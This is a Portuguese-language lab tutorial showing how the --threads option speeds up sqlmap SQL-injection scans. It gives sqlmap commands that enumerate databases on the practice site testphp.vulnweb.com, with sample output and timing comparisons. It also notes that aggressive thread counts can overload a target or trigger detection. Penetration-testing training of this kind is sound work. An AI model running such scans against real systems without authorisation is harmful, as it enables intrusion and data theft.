Introdução
sqlmap é uma poderosa ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção de SQL. Por padrão, o sqlmap executa seus testes sequencialmente, enviando uma requisição por vez. Embora isso seja confiável, pode ser lento, especialmente em aplicações web complexas ou ao realizar testes de injeção cega baseados em tempo.
Neste laboratório, você aprenderá como acelerar significativamente seus escaneamentos com sqlmap usando a opção --threads. Esta flag permite que o sqlmap execute múltiplas requisições HTTP concorrentemente, reduzindo drasticamente o tempo total necessário para completar um escaneamento. Você realizará uma série de escaneamentos com diferentes contagens de threads e comparará os resultados para ver a melhoria de desempenho em primeira mão.
Realizar um Escaneamento de Linha de Base com um Único Thread
Nesta etapa, você realizará um escaneamento básico com sqlmap usando a configuração padrão de um único thread. Isso servirá como nossa linha de base para medir as melhorias de desempenho nas etapas posteriores. Usaremos o comando time para medir com precisão a duração do escaneamento.
Primeiro, execute o seguinte comando no seu terminal. Este comando instrui o sqlmap a escanear a URL fornecida (-u), enumerar os bancos de dados (--dbs) e executar em modo não interativo (--batch). Redirecionaremos a saída para um arquivo de log e também usaremos o comando time para medir o tempo de execução.
(time sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch) 2>&1 | tee baseline_scan.log
Após a conclusão do escaneamento, você verá muitas saídas do sqlmap, seguidas pela medição do tempo no final. Será algo parecido com isto:
... (sqlmap output) ...
[22:30:00] [INFO] fetching database names
[22:30:00] [INFO] the SQL query used returns 2 entries
[22:30:00] [INFO] retrieved: information_schema
[22:30:00] [INFO] retrieved: acuart
[22:30:00] [INFO] available databases [2]:
[*] acuart
[*] information_schema
[22:30:00] [INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/testphp.vulnweb.com'
[*] ending @ 22:30:00 /2023-10-27/
real 0m45.123s
user 0m5.456s
sys 0m0.789s
O valor mais importante para nós é real, que representa o tempo total de relógio (wall-clock time) levado. Agora, vamos salvar este resultado em nosso arquivo de comparação, scan_times.log.
echo "Baseline (1 Thread): $(grep real baseline_scan.log | awk '{print $2}')" >> scan_times.log
Finalmente, visualize o conteúdo do arquivo de log para confirmar que o tempo de linha de base foi registrado.
cat scan_times.log
Sua saída deve mostrar o tempo registrado:
Baseline (1 Thread): 0m45.123s
Compreender o Propósito da Flag --threads
Nesta etapa, dedicaremos um momento para entender o recurso principal deste laboratório: a flag --threads no sqlmap. Não há comandos para executar nesta etapa; o objetivo é compreender o conceito antes de aplicá-lo.
A opção --threads é usada para definir o número de requisições HTTP(s) concorrentes que o sqlmap realizará durante um escaneamento. O valor padrão é 1.
Como funciona: Em vez de enviar uma requisição e esperar por uma resposta antes de enviar a próxima, o sqlmap pode abrir múltiplos "threads" para enviar várias requisições ao mesmo tempo. Esse paralelismo é especialmente eficaz para tarefas que envolvem muitas requisições, como:
- Fuzzing para vulnerabilidades.
- Força bruta de caracteres em um nome de banco de dados (injeção cega de SQL).
- Extração de grandes quantidades de dados.
Benefícios:
- Velocidade: O principal benefício é uma redução significativa no tempo de escaneamento.
- Eficiência: Faz melhor uso da sua conexão de rede e recursos do sistema.
Considerações:
- Uso de Recursos: Aumentar os threads consumirá mais da sua CPU e memória.
- Estabilidade do Alvo: Um número muito alto de threads pode sobrecarregar um servidor web frágil ou mal configurado, potencialmente causando uma negação de serviço.
- Detecção: Escaneamentos multithread agressivos são mais propensos a serem detectados e bloqueados por Firewalls de Aplicação Web (WAFs) ou Sistemas de Detecção/Prevenção de Intrusão (IDS/IPS).
O sqlmap permite definir o número de threads de 1 a um máximo de 10. Nas próximas etapas, você verá como ajustar esse valor impacta o desempenho do escaneamento.
Reexecutar o Escaneamento com um Número Aumentado de Threads (--threads=5)
Nesta etapa, você aplicará seu conhecimento da flag --threads. Vamos reexecutar o mesmo escaneamento de antes, mas desta vez aumentaremos o número de requisições concorrentes para 5.
Execute o seguinte comando no seu terminal. Ele é idêntico ao primeiro comando, com a adição de --threads=5.
(time sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch --threads=5) 2>&1 | tee 5_threads_scan.log
Assim que o escaneamento for concluído, você deverá notar que o tempo real é significativamente menor do que o escaneamento de linha de base.
Agora, vamos anexar este novo resultado ao nosso arquivo scan_times.log para comparação.
echo "5 Threads: $(grep real 5_threads_scan.log | awk '{print $2}')" >> scan_times.log
Vamos verificar o conteúdo do arquivo de log novamente para ver ambos os resultados.
cat scan_times.log
A saída agora mostrará os tempos de escaneamento de linha de base e de 5 threads.
Baseline (1 Thread): 0m45.123s
5 Threads: 0m15.456s
(Nota: Seus tempos variarão, mas você deverá observar uma diminuição notável.)
Reexecutar o Escaneamento com o Número Máximo de Threads (--threads=10)
Nesta etapa, você levará o desempenho ao limite usando o número máximo de threads permitido pelo sqlmap, que é 10. Isso demonstrará o ganho de desempenho máximo que você pode alcançar com esta opção em condições normais.
Execute o comando de escaneamento mais uma vez, definindo a contagem de threads para 10.
(time sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch --threads=10) 2>&1 | tee 10_threads_scan.log
Este escaneamento deve ser ainda mais rápido que o anterior. Após terminar, registre o resultado em nosso arquivo de log.
echo "10 Threads: $(grep real 10_threads_scan.log | awk '{print $2}')" >> scan_times.log
Agora, visualize o arquivo scan_times.log para ver todos os três resultados compilados.
cat scan_times.log
A saída agora conterá todas as três entradas, facilitando a comparação na próxima etapa.
Baseline (1 Thread): 0m45.123s
5 Threads: 0m15.456s
10 Threads: 0m9.789s
(Nota: Seus tempos variarão.)
Comparar as Durações do Escaneamento e Observar as Mudanças de Desempenho
Nesta etapa final, você analisará os dados coletados para tirar uma conclusão sobre a eficácia do multi-threading no sqlmap.
Vamos exibir os resultados finais armazenados em scan_times.log.
cat scan_times.log
Você verá uma saída semelhante a esta, mostrando claramente a duração de cada escaneamento:
Baseline (1 Thread): 0m45.123s
5 Threads: 0m15.456s
10 Threads: 0m9.789s
(Nota: Os tempos exatos diferirão com base nas condições de rede e na carga do sistema, mas a tendência deve ser clara.)
Análise: Como você pode ver pelos resultados, há uma diminuição drástica no tempo de escaneamento à medida que aumentamos o número de threads.
- O salto de 1 para 5 threads provavelmente produziu o ganho de desempenho mais significativo.
- O salto de 5 para 10 threads ainda mostra uma melhoria, mas pode ser menos pronunciado. Isso ocorre porque fatores além do número de threads — como latência de rede ou a capacidade do servidor de lidar com requisições concorrentes — começam a se tornar o gargalo.
Este experimento demonstra claramente que o uso da flag --threads é uma maneira simples, porém altamente eficaz, de otimizar seus escaneamentos com sqlmap.
Resumo
Parabéns por completar este laboratório! Você aprendeu com sucesso como otimizar o desempenho de escaneamentos com sqlmap usando requisições concorrentes.
Neste laboratório, você:
- Realizou um escaneamento de linha de base com um único thread para estabelecer um benchmark de desempenho.
- Aprendeu o propósito da flag
--threadse seus benefícios e considerações. - Executou escaneamentos com 5 e 10 threads para observar o impacto na duração do escaneamento.
- Comparou os resultados e confirmou que o aumento da contagem de threads reduz significativamente o tempo de escaneamento.
Dominar opções como --threads é crucial para realizar testes de penetração eficientes e dentro do prazo. Lembre-se de usar esse poder com responsabilidade, pois escaneamentos agressivos podem impactar negativamente o sistema alvo.
